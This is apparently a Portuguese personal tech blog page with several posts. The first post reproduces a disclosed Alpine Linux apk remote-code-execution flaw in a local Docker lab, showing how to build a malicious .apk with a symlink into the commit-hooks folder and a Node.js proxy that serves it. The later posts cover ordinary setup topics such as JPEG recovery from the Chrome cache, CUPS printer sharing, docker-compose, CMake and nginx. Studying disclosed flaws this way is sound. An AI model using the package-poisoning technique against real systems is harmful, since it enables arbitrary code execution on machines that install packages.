Matheus Bratfisch Cogito ergo sum

Testando RCE no Alpine Linux usando APK

Ultimamente eu tenho estudado um pouco de segurança e uma das coisas que estou fazendo de tempos em tempos é lendo CVE e tentando testar e entender o que está acontecendo. Ontem Max Justicz publicou “Remote Code Execution in Alpine Linux. Ele encontrou problemas no apk o qual é o gerenciador de pacotes para o Alpine Linux que é super popular para imagens docker.

Max fez um trabalho excelente em explicar os passos e razões, mas eu queria testar eu mesmo.

- Create a folder at /etc/apk/commit_hooks.d/, which doesn’t exist by default. Extracted folders are not suffixed with .apk-new.
- Create a symlink to /etc/apk/commit_hooks.d/x named anything – say, link. This gets expanded to be called link.apk-new but still points to /etc/apk/commit_hooks.d/x.
- Create a regular file named link (which will also be expanded to link.apk-new). This will write through the symlink and create a file at /etc/apk/commit_hooks.d/x.
- When apk realizes that the package’s hash doesn’t match the signed index, it will first unlink link.apk-new – but /etc/apk/commit_hooks.d/x will persist! It will then fail to unlink /etc/apk/commit_hooks.d/ with ENOTEMPTY because the directory now contains our payload.

As instruções dele parecem simples, mas se você não está super familiar como arquivos tar funcionam e alguns outros conceitos, você pode não entender. Em um arquivo tar você pode ter multiplas versões ou arquivos com o mesmo nome e extrair eles usando --occurrence. Com isso em mente as intruções fazem um pouco mais de sentido.

Primeiramente criando os diretórios:

sudo mkdir /etc/apk/commit_hooks.d/
mkdir folder_for_link
mkdir folder_for_real_file

Criando o link

/etc/apk/commit_hooks.d/x folder_for_link/magic

Crie o arquivo folder_for_real_file/magic com este conteudo

#!/bin/sh

echo "something" > /tmp/test-12346-YAY
echo "ha" > /testfileroot

(Se isso realmente funcionar devemos ter esses dois arquivos no sistema.)

Agora temos praticamente tudo que precisamos e podemos criar o apk:

tar -zcvf bad-intention.apk /etc/apk/commit_hooks.d/ -C $PWD/folder_for_link/ magic -C $PWD/folder_for_real_file/ magic

Aqui estamos adicionando 3 arquivos em sequencia para o tar, você pode checar o resultado com:

$ tar tvf bad-intention.apk
drwxr-xr-x root/root         0 2018-09-13 19:44 etc/apk/commit_hooks.d/
lrwxrwxrwx root/root         0 2018-09-13 19:37 magic -> /etc/apk/commit_hooks.d/x
-rwxrwxrwx root/root 954 2018-09-13 23:24 magic

(Preste atenção na ordem dos mesmos, criação do diretorio commit_hooks.d, criação do link, criação do arquivo)

Qual deveria ser o comportamento agora? Já que o APK no Alpine roda apartir do / ele vai criar a pasta /etc/apk/commit_hooks.k, posteriomente vai extrair o link e terminar fazendo output do arquivo magic para o link o qual será escrito no arquivo X (apontado pelo link). Note, eu perdi MUITO TEMPO tentando verificar esse comportamento com o tar mas parece que este não possui esse comportamento e o apk implementou seu proprio extrator.

Certo, agora precisei entregar este arquivo quando rodasse apk add dentro do docker. Localmente, eu atualizei meu /etc/hosts e apontei dl-cdn.alpinelinux.org para localhost. Utilizando as bibliotecas http-mitm-proxy http-proxy request no nodejs, eu criei um servidor que forneceria o .apk criado caso a url contenha “ltrace” no meio, caso contrário baixaria o arquivo normalmente e instalaria.1

var http = require('http'),
    httpProxy = require('http-proxy'),
    request = require('request'),
    fileSystem = require('fs'),
    path = require('path');

var proxy = httpProxy.createProxyServer({});

var server = http.createServer(function(req, res) {
  console.log('http://nl.alpinelinux.org' + req.url)
  if (req.url.indexOf('ltrace') > -1) {
    console.log("Trapped")
    var filePath = path.join(__dirname, 'bad-intention.apk');
    var stat = fileSystem.statSync(filePath);
    var readStream = fileSystem.createReadStream(filePath);
    readStream.pipe(res);
  } else {
      proxy = request('http://nl.alpinelinux.org' + req.url)
      proxy.on('response', function (a, b) {}).pipe(res);
  }
});

console.log("listening on port 80")
server.listen(80);

Criando a imagem do docker com docker build -t alpinetest --network=host --no-cache .

FROM alpine:3.8

# RUN apk add python
RUN apk add ltrace

CMD "/bin/sh"

(Se você está curioso, você pode dar uma olhada dentro da imagem mesmo que o build tenha falhado. Você pode verificar que os arquivos estão no lugar certo. Utilize docker commit CONTAINER_ID e docker run -it SHA256_STRING sh.)

A saida retornou “The command ‘/bin/sh -c apk add ltrace’ returned a non-zero code: 1”. Isto acontece porque o apk verifica a assinatura do arquivo e tenta limpar os arquivos e diretórios porém ele não consegue já que existe um arquivo em /etc/apk/commit_hooks.k. Então como fazer alguma magica para fazer o comando retornar o exit code 0? Max encontrou um (ou dois) jeitos.

Eu ainda preciso estudar e entender o que exatamente o python script faz mas eu testei o mesmo e ele funciona. Como um teste rápido você pode descomentar RUN apk add python e atualizar o script folder_for_real_file/magic para chamar o código python.

Matheus

Comment

Encontre imagens na Cache do Google Chrome (E Qualquer outro arquivo!)

Boa noite,

Recentemente eu deletei algumas imagens do meu computador e ao tentar acessar as mesmas, os links estavam indisponiveis. Decidi tentar utilizar a cache do navegador. A url antiga para acessar a cache seria chrome://cache porém isso não funciona mais nas versões recentes. Para encontrar seus arquivos acesse /home/USER/.cache/google-chrome/Default/Cache/.

Se você abrir o arquivo de cache, você verá que ele não é um arquivo legível diretamente, o mesmo encontra-se em formato binário com outras informações, como URL, headers, http status e outros. Poderiamos olhar o código fonte do Google Chrome para entender como o mesmo gera esses dados e ler os mesmos. Sendo sincero, eu fui preguicoso. Chrome cache storage

Por que não escanear os arquivos pela sequencia binaria de um JPEG? Para isso precisarimos aprender como encontrar o inicio e o fim de uma imagem. Da especificação do JPG temos:

  • bytes 0xFF, 0xD8 indicam inicio da imagem
  • bytes 0xFF, 0xD9 indicam fim da imagem.

Certo, então como encontra estes bytes usando python?

Abra o arquivo como binário e verifique se existe as marcações JFIF ou EXIF. (Removendo arquivos que não precisamos verificar)

f = open(filepath, 'rb')

data = f.read()
if 'JFIF' not in data and 'Exif' not in data:
	return

Agora vamos iterar sobre todos os bytes, tentando encontrar a sequencia específica. Para fazer isso teremos uma váriavel prev a qual vai salvar o valor do byte anterior, pos que vai salvar a posição que estamos, um array para salvar todos os SOI e um para salvar todos os EOI. No caso se o char anterior for FF verificamos se o atual é 0xD8, se sim, adicionamos a SOI, se for D9 adicionamos a EOI.

prev = None
soi = []
eoi = []
pos = 0
for b in data:
	if prev is None:
		prev = b
		pos = pos + 1
		continue
	if prev == chr(0xFF):
		if b == chr(0xD8):
			soi.append(pos-1)
		elif b == chr(0xD9):
			eoi.append(pos-1)
	prev = b
	pos = pos + 1

Agora podemos selecionar o SOI e o EOI e salvar. A única mágica que estaremos fazendo é pegar o primeiro SOI e o último SOI ou EOI, dependendo qual é maior.

path, filename = os.path.split(filepath)
file = open('{}/{}-{}.jpg'.format(OUTPUT_FOLDER, filename, 0), 'wb')
m1 = soi[0]
m2 = soi[-1] if soi[-1] > eoi[-1] else eoi[-1]
file.write(data[m1:m2])

file.close()

print(filename, "SOI", soi, len(soi))
print(filename, "EOI", eoi, len(eoi))

Esse código vai salvar somente uma imagem, mas você poderia ter um arquivo com multiplas imagens e salvar multiplos arquivos iterando sobre os EOI/SOI.

Seria isso um tipo de file carving?

Espero que seja util, Matheus

Pegue este script, crie uma pasta OUTPUT_FOLDER e rode python yourfile.py filetocheck, essa versão teoricamente consegue extrair multiplos imagens de um arquivo.

import os
import glob
import sys

OUTPUT_FOLDER = "output-this2"


def save_file(data, path, filename, count, eoi, soi):
	file = open('{}/{}-{}.jpg'.format(OUTPUT_FOLDER, filename, count), 'wb')
	m1 = soi[0]
	m2 = soi[-1] if soi[-1] > eoi[-1] else eoi[-1]
	file.write(data[m1:m2])
	file.close()

def extract(filepath):
	count = 0
	f = open(filepath, 'rb')

	data = f.read()
	if 'JFIF' not in data and 'Exif' not in data:
		return

	path, filename = os.path.split(filepath)

	old_soi = []
	old_eoi = []
	prev = None
	soi = []
	eoi = []
	eoi_found = False
	pos = 0
	for b in data:
		if prev is None:
			prev = b
			pos = pos + 1
			continue
		if prev == chr(0xFF):
			if b == chr(0xD8):
				if eoi_found:
					save_file(data, path, filename, count, eoi, soi)
					old_soi = old_soi + soi
					old_eoi = old_eoi + eoi
					soi = []
					eoi = []
					count = count + 1
					eoi_found = False
				soi.append(pos-1)
			elif b == chr(0xD9):
				eoi.append(pos-1)
				eoi_found = True
		prev = b
		pos = pos + 1

	save_file(data, path, filename, count, eoi, soi)
	print(filename, "SOI", soi, len(old_soi))
	print(filename, "EOI", eoi, len(old_eoi))

def main():
	if len(sys.argv) < 2:
		sys.exit(1)

	extract(sys.argv[1])

if __name__=="__main__":
	main()

Reference: https://stackoverflow.com/questions/4585527/detect-eof-for-jpg-images

Comment

Impressora conectada ao Raspberry PI acessivel da sua rede local.

Boa noite,

Por um longo periodo meu pai tem reclamado que usar a impressora não é pratico o bastante, para resolver isso decidi instalar um Raspberry PI Zero W conectado a impressora e compartilhar a mesma usando CUPS.

Inicialmente você deve conectar ao RPi e instalar CUPS.

sudo apt-get install cups

Se você deseja ter uma interface web para configurar CUPS do seu computador, atualize /etc/cups/cupsd.conf

sudo vim /etc/cups/cupsd.conf

Encontre a linha:

Listen localhost:631

Atualize a mesma para:

# Listen localhost:631
Port 631

Você terá multiplas linhas <Location, se você deseja ser capaz de configurar somente do seu computador, adicione Allow from SEU_IP para todas as secoes. Exemplo:

<Location />
  Order allow,deny
  Allow from 10.0.0.2
</Location>

(Se você deseja poder fazer de qualquer computador, use Allow from all)

Adicione o seu usuario your (no meu caso pi) ao grupo lpadmin

sudo usermod -a -G lpadmin pi

Acesse o ip do Raspberry PI no seu navegador na porte 631 (https://RPI_IP:631/).

Acesse Administration - Add printer. Você deve ver sua impressora em “Local printers”, adicione a mesma lembrando de marcar a checkbox para compartilhar.

No caso de você usar uma impressora HP e a mesma não estiver funcionando, tente instalar o hplip.

sudo apt-get install hplip

Reinicie e tente acessar a pagina novamente.

See you, Matheus

Comment

Atualizar o autor dos commits do git e resetar.

Se você deseja atualizar o autor dos seus commits globalmente, utilize:

git config --global user.name "Your name"
git config --global user.email "[email protected]"

Após setar o mesmo globalmente, você pode setar o mesmo por projeto, então caso você deseje setar o autor dos commits do git por projeto use:

git config user.name "Your name"
git config user.email "[email protected]"

E um bonus: Se você deseja resetar os autores dos commits.

git commit --amend --reset-author

Se você desejar fazer para vários commits:

git rebase -i <COMMIT_HASH>

Até mais, Matheus

Comment

Docker-compose com PHP-FPM, sendmail, nginx, mariadb serving jekyll e wordpress

Como expliquei recentemente, eu tinha um blog rodando no wordpress e decidi migrar para o Jekyll, mas existia um detalhe, eu não queria perder os links que já apontavam para o meu blog em wordpress, para atingir isso, Eu fiz o setup de um nginx o qual irá tentar encontrar arquivos estáticos do Jekyll e no caso de falha irá fazer um fallback para o wordpress.

Eu estava rodando os mesmos em uma instancia ec2 com RDS e o preço estava um pouco alto, então decidi mover tudo para uma unica máquina e utilizar o docker para poder mudar facilmente meu website de servidor.

Para atingir isso eu criei um docker-compose com:

  • PHP-FPM e sendmail para processar php e enviar e-mails com o sendmail
  • Nginx para servir arquivos estáticos e caso eles não sejam encontrados, servir meu antigo blog em wordpress
  • MariaDB como meu banco de dados para o wordpress
version: '3'
services:
  fpm:
    # image: php:7.0-fpm-alpine
    build: php7fpm
    restart: always
    volumes:
      - ./wordpress.matbra.com/:/var/www/wordpress.matbra.com
      - ./php7fpm/sendmail.mc:/usr/share/sendmail/cf/debian/sendmail.mc
      - ./php7fpm/gmail-auth.db:/etc/mail/authinfo/gmail-auth.db
    ports:
      - "9000:9000"
    links:
      - mariadb 
    hostname: test.com.br
  
  nginx:
    image: nginx:1.10.1-alpine
    restart: always
    volumes:
      - ./nginx/nginx.conf:/etc/nginx/nginx.conf
      - ./nginx/app.vhost:/etc/nginx/conf.d/default.conf
      - ./logs/nginx:/var/log/nginx
      - ./wordpress.matbra.com/:/var/www/wordpress.matbra.com
      - ./jekyll.matbra.com/:/var/www/jekyll.matbra.com
    ports:
      - "80:80"
      - "443:443"
    links:
      - fpm

  mariadb:
    image: mariadb
    restart: always
    environment:
      - MYSQL_ROOT_PASSWORD=yourpassword
      - MYSQL_DATABASE=
    volumes:
    -   ./data/db:/var/lib/mysql

Container PHP-FPM:

Eu estou usando um Dockerfile modificado, o qual vem do php:7.0-fpm e adiciona sendmail e a extensão do mysql. Existe um script de inicialização modificado para rodar os dois serviços na mesma máquina. (Eu sei, eu deveria criar um container especifico para o sendmail)

Neste container eu estou mapeando alguns arquivos php e configurações:

  • ./wordpress.matbra.com para /var/www/wordpress.matbra.com meus arquivos do wordpress
  • ./php7fpm/sendmail.mc para /usr/share/sendmail/cf/debian/sendmail.mc meu arquivo de configuração para o sendmail
  • ./php7fpm/gmail-auth.db para /etc/mail/authinfo/gmail-auth.db meu arquivo de senha para o gmail Configuring gmail as relay to sendmail

Eu também estou mapeando as portas 9000 para 9000, então o nginx irá se comunicar com o php-fpm nestas portas e criando um link para o mariadb e criando um hostname

Container NGINX:

Eu estou usando um nginx alpine com alguns mapeamentos:

  • ./nginx/nginx.conf para /etc/nginx/nginx.conf meu arquivo de configuração para o nginx
  • ./nginx/app.vhost para /etc/nginx/conf.d/default.conf meu arquivo de configuração para o site com Jekyll fazendo fallback para o wordpress
  • ./logs/nginx para /var/log/nginx o diretório de logs
  • ./wordpress.matbra.com/ para /var/www/wordpress.matbra.com o local onde o nginx consegue encontrar meus arquivos do wordpress
  • ./jekyll.matbra.com/ para /var/www/jekyll.matbra.com o local onde o nginx consegue encontrar meus arquivos do jekyll

Eu também mapeio as portas 80 para 80 e 433 para 433, crio um link para o php-fpm para que o nginx se comunique com o container do php-fpm

Container MARIADB:

Sem mistérios aqui, uma imagem do mariadb com mapa para os dados e algumas variaveis de ambiente

Já que eu não adicione meus arquivos do website, eu criei um comando init.sh para remover o diretório de dados e clonar os mesmos do git. Também tem um comando chamado update-config.sh para atualizar as configurações do wordpress (wp-config.php) com os valores corretos.

Com isso eu consigo facilmente criar meu “sistema” em uma nova máquina.

https://github.com/x-warrior/blog-docker

Eu espero que seja útil. Matheus

Comment

Instale ZNC IRC Bouncer on AWS Linux

Se você quer instalar ZNC IRC Bouncer você vai precisar do CMake, porém a versão do CMake do AWS Linux é desatualizada. (Atualize seu cmake para 3.x)[http://www.matbra.com/2017/12/07/install-cmake-on-aws-linux.html]

Agora você precisa do git para clonar o código fonte do ZNC e também o openssl-devel para ter suporte ssl.

# yum install git openssl-devel

Clone o código fonte

$ git clone https://github.com/znc/znc.git

Entre na pasta

$ cd znc

Inicializa os submodulos

$ git submodule update --init --recursive

Instale

$ cmake . 
$ make
# make install (run this as root #)

Configure-o:

$ znc --makeconf

Atenciosamente, Matheus

Comment

Instalando Cmake 3 no AWS Linux

Se você está tentando compilar algo utilizando o CMake e tem o erro: “CMake 3.1 or higher is required. You are running version 2.8.12.2”

Você pode manualmente instalar a versão mais recente do CMake, para fazer isso. Eu removi o CMake existente.

# yum remove cmake

Teste se ele realmente foi removido

$ cmake 
-bash: /usr/bin/cmake: No such file or directory

Instale G++

# yum install gcc-c++

Baixe a ultima versão do: Cmake Download

$ wget https://cmake.org/files/v3.10/cmake-3.10.0.tar.gz

Extraia:

$ tar -xvzf cmake-3.10.0.tar.gz

Entre na pasta

$ cd cmake-3.10.0

Instale com

# ./bootstrap
# make
# make install

Agora você deve ter o cmake instalado /usr/local/bin/cmake

Abraços, Matheus

Comment

Loopback migrando seus models com o postgresql

Eu estou brincando com o Loopback, um framework javascript. Inicialmente eu só estava criando modelos e utilizando o explorer para verificar os resultados do mesmo, porém agora eu atingi um ponto que preciso persistir os dados.

Eu não consegui encontrar como manter meu banco de dados e meus modelos sincronizados facilmente, não tenho certeza se eu que não estou tão familiar com o Loopback ainda, ou se a documentação esta realmente um pouco confusa.

Então para criar um script que mantenha seus modelos sincronizados você pode criar um arquivo na pasta bin e nomea-lo autoupdate.js e adicionar o seguinte:

var path = require('path');

var app = require(path.resolve(__dirname, '../server/server'));
var ds = app.datasources.db;
ds.autoupdate(function(err) {
  if (err) throw err;
  ds.disconnect();
});

O código é bem simples, ele vai importar seu app do server.js, adicionar o datasource e rodar o comando autoupdate. Você poderia usar automigrate mas este limpa o seu database todas as vezes, então se você quer manter seus dados, essa não é a maneira apropriada.

Eu acredito que isso vai funcionar para outros bancos de dados, como MySQL. Se não funcionar, me avise, eu posso tentar ajudar.

Matheus

PS: Ele não vai fazer uma gerencia como o Django faz pra você, então as vezes você pode cair em estados indesejáveis, acredito que o ideal seria utilizar loopback com NoSQL

Comment

Django Storages com Boto3 e Metadados adicionais somente para as Medias

Eu tenho um projeto pessoal o qual estou usando Django com django-storages para enviar meus arquivos estáticos e medias para a Amazon S3, já que as minhas medias possuem UUID e não são editáveis eu gostaria de ter um tempo de expiração maior para elas, assim eu poderia salvar transferência porém eu não gostaria de ter essa cache maior para os arquivos estáticos que são atualizados com mais frequência.

Maioria dos conteúdos que encontrei na internet se referiam a AWS_HEADERS porém o mesmo não funcionou para mim. Parece que o mesmo só funciona para o boto (não para o boto3) e depois de olhar o código do boto3 eu descobri o AWS_S3_OBJECT_PARAMETERS o qual funciona para o boto3, mas esta é uma configuração global então eu precisei extender a classe S3Boto3Storage.

Então o código que resolveu meu problema foi:

class MediaRootS3Boto3Storage(S3Boto3Storage):
    location = 'media'
    object_parameters = {
        'CacheControl': 'max-age=604800'
    }

Se você está usando o boto (não o boto3) e gostaria de ter meta dados especiais somente para a sua classe Media, você pode usar:

class MediaRootS3Boto3Storage(S3BotoStorage):
    location = 'media'
    headers = {
        'CacheControl': 'max-age=604800'
    }

Você também vai precisar atualizar a sua configuração do django-storages, preste atenção ao nome da classe, no boto 3 é S3Boto3Storage porém no boto, o mesmo não possui o 3 depois da palavra Boto

DEFAULT_FILE_STORAGE = 'package.module.MediaRootS3Boto3Storage'

Uma dica simples, porém pode salvar um pouco do seu tempo.

Matheus

Comment

Redirecionar acessos para um servidor Wordpress secundário usando Nginx

Alguns de vocês provavelmente acompanhou, mas recentemente eu decidi atualizar meu antigo wordpress blog do PHP4~5 para um mais recente. Deixando meu host compartilhado e indo para o heroku e posteriormente para Amazon EC2.

Eu precisava decidir se eu manteria o Wordpress ou se eu mudaria para uma tecnologia diferente, como Jekyll? Ou o que? Eu pensei bastante sobre isso e no fim eu decidi utilizar Jekyll, por que? Para ser sincero, usando algo mais novo/recente me motiva a estudar e fuçar mais a fundo para conseguir as coisas rodando.

Depois que decidi que usaria o Jekyll, eu precisava pensar sobre meu dominio, eu queria manter meu blog antigo rodando como histórico mas também gostaria de fazer redirecionamento correto para não perder meus pontos de SEO por exemplo, então como manter 2 blogs funcionando de uma maneira inteligente sem quebrar os links antigos?

Eu pensei que o ideal seria algo que tentasse acessar o novo site e caso não encontrasse, deveria redirecionar para o blog antigo rodando Wordpress, mas como atingir isso somente quando a página não fosse encontrada e de uma maneira boa para SEO (utilizando 301 para os redirects)?

Depois de algum tempo brincando e lendo a documentação do nginx eu achei uma maneira de rodar um servidor com um proxy e caso o acesso falhe, interceptar o mesmo e redirecionar para outro servidor do nginx.

Então para fazer isso eu tenho um arquivo de configuração do nginx com multiplas configurações, a primeira delas possui a configuração do Wordpress, esse servidor é bem simples e somente trata acessos de páginas PHP com o PHP FPM basicamente usando um subdomínio.

server {
   listen 80;
   server_name wordpress.matbra.com;

    location / {
        root   /var/www/wordpress/live;
        index  index.php index.html index.htm;
        try_files $uri $uri/ /index.php?$uri$args;
    }

    location ~ \.php$ {
        root /var/www/wordpress/live;
        fastcgi_pass   unix:/var/run/php-fpm/php-fpm.sock;
        fastcgi_index  index.php;
        fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
        include        fastcgi_params;
    }
}

Read more